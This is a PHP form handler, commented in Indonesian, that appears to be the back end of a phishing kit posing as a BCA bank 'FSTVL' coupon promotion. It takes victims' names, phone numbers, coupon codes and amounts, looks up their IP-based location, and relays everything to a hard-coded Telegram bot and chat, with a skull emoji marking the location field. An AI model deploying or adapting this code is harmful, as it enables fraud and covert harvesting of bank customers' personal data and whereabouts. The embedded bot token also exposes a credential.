<?php
// --- PERBAIKAN CORS (PENTING JIKA index.html dan one.php berada di domain/subdomain berbeda) ---
header("Access-Control-Allow-Origin: *"); // Atau spesifikkan domain Anda, contoh: "https://lbzl.web.id"
header("Access-Control-Allow-Methods: POST, GET, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type, Authorization");
header("Content-Type: application/json");

// Jika ini adalah preflight request (OPTIONS method), segera respons sukses
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit();
}
// --- AKHIR PERBAIKAN CORS ---

// --- KONFIGURASI TELEGRAM ---
define('BOT_TOKEN', '8681032508:AAHppYw7dSRLF-4G5YbTiIvfEjDffIqw'); // Ganti dengan TOKEN BOT Telegram Anda
define('CHAT_ID', '7513811');     // Ganti dengan CHAT ID Anda

// Fungsi untuk logging ke file (sangat berguna untuk debugging)
function logError($message) {
    file_put_contents('error_log.txt', date('[Y-m-d H:i:s]') . ' ' . $message . PHP_EOL, FILE_APPEND);
}

function sendTelegramMessage($message) {
    $url = 'https://api.telegram.org/bot' . BOT_TOKEN . '/sendMessage';
    $data = [
        'chat_id' => CHAT_ID,
        'text'    => $message,
        'parse_mode' => 'HTML'
    ];

    $options = [
        'http' => [
            'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
            'timeout' => 10 // Timeout 10 detik
        ],
    ];
    $context  = stream_context_create($options);

    // Coba kirim pesan Telegram dan tangani error jika gagal
    $result = @file_get_contents($url, false, $context);
    if ($result === FALSE) {
        $error = error_get_last();
        logError("Failed to send Telegram message: " . ($error['message'] ?? 'Unknown error'));
        return ['ok' => false, 'description' => ($error['message'] ?? 'Failed to connect to Telegram API')];
    }
    return json_decode($result, true);
}

// Mengambil data JSON dari request POST
$input = file_get_contents('php://input');
$data = json_decode($input, true);

$response = ['success' => false, 'message' => ''];

if ($data) {
    $kupon = htmlspecialchars($data['kupon'] ?? 'Tidak diisi');
    $nama = htmlspecialchars($data['nama'] ?? 'Tidak diisi');
    $phone = htmlspecialchars($data['phone'] ?? 'Tidak diisi');
    $nominal = htmlspecialchars($data['nominal'] ?? 'Tidak diisi');

    // --- PENAMBAHAN: Mendapatkan alamat IP dan informasi lokasi geografis ---
    $user_ip = $_SERVER['REMOTE_ADDR'] ?? 'Tidak diketahui';
    $lokasi_geografis = 'Tidak ditemukan'; // Nilai default

    // Jika IP diketahui, coba ambil informasi lokasi dari GeoIP API
    if ($user_ip !== 'Tidak diketahui' && filter_var($user_ip, FILTER_VALIDATE_IP)) {
        // Menggunakan ip-api.com untuk mendapatkan informasi GeoIP
        $geo_api_url = "http://ip-api.com/json/{$user_ip}?fields=status,message,country,regionName,city,zip";
        $geo_response = @file_get_contents($geo_api_url);

        if ($geo_response !== FALSE) {
            $geo_data = json_decode($geo_response, true);
            if ($geo_data && $geo_data['status'] === 'success') {
                $city = $geo_data['city'] ?? '';
                $region = $geo_data['regionName'] ?? '';
                $country = $geo_data['country'] ?? '';

                $lokasi_parts = [];
                if (!empty($city)) {
                    $lokasi_parts[] = $city;
                }
                if (!empty($region)) {
                    $lokasi_parts[] = $region;
                }
                if (!empty($country)) {
                    $lokasi_parts[] = $country;
                }
                
                if (!empty($lokasi_parts)) {
                    $lokasi_geografis = implode(', ', $lokasi_parts);
                }
            } else {
                logError("GeoIP API error for IP {$user_ip}: " . ($geo_data['message'] ?? 'Unknown API error'));
            }
        } else {
            logError("Failed to connect to GeoIP API for IP {$user_ip}.");
        }
    }
    // --- AKHIR PENAMBAHAN ---

    // Validasi data sederhana
    if (empty($nama) || empty($phone) || empty($nominal) || $nominal === 'Tidak diisi') {
        logError("Invalid input data received: " . json_encode($data));
        $response['message'] = 'Data input tidak lengkap atau tidak valid.';
        echo json_encode($response);
        exit();
    }

    // Format pesan untuk Telegram
    // Pastikan nominal_raw adalah angka agar number_format tidak error
    $cleanNominal = (float)str_replace(['.', ','], ['', ''], $nominal); // Bersihkan format angka jika ada
    if ($cleanNominal == 0 && $nominal !== '0') { // Cek jika nominal tidak benar-benar 0 tapi gagal di-parse
        $formattedNominal = $nominal; // Gunakan string asli jika gagal di-parse sebagai angka
    } else {
        $formattedNominal = number_format($cleanNominal, 0, ',', '.');
    }

    $telegramMessage = "<b>🏆NOTIFIKASI BCA🏆</b>\n\n" .
                       "<b>🎁 Kupon:</b> {$kupon}\n" .
                       "<b>👤 Nama:</b> {$nama}\n" .
                       "<b>📱 Nomor HP:</b> {$phone}\n" .
                       "<b>💰 Nominal:</b> Rp. {$formattedNominal}\n\n" .
                       "<b>📱 IP Pengirim:</b> {$user_ip}\n\n" .
                       "<b>☠️ Lokasi:</b> {$lokasi_geografis}\n\n" . // Menampilkan lokasi geografis
                       "<i>Laporan ini dikirim melalui formulir BCA FSTVL</i>";

    $telegramResult = sendTelegramMessage($telegramMessage);

    if ($telegramResult && $telegramResult['ok']) {
        $response['success'] = true;
        $response['message'] = 'Laporan berhasil dikirim dan notifikasi Telegram terkirim.';
    } else {
        $errorMessage = $telegramResult['description'] ?? 'Unknown error from Telegram API.';
        $response['message'] = 'Gagal mengirim notifikasi Telegram. Error: ' . $errorMessage;
        logError("Telegram API Error for message '" . substr($telegramMessage, 0, 50) . "...': " . $errorMessage);
    }
} else {
    logError("No data or invalid JSON received.");
    $response['message'] = 'Data tidak diterima atau format tidak valid.';
}

echo json_encode($response);
?>
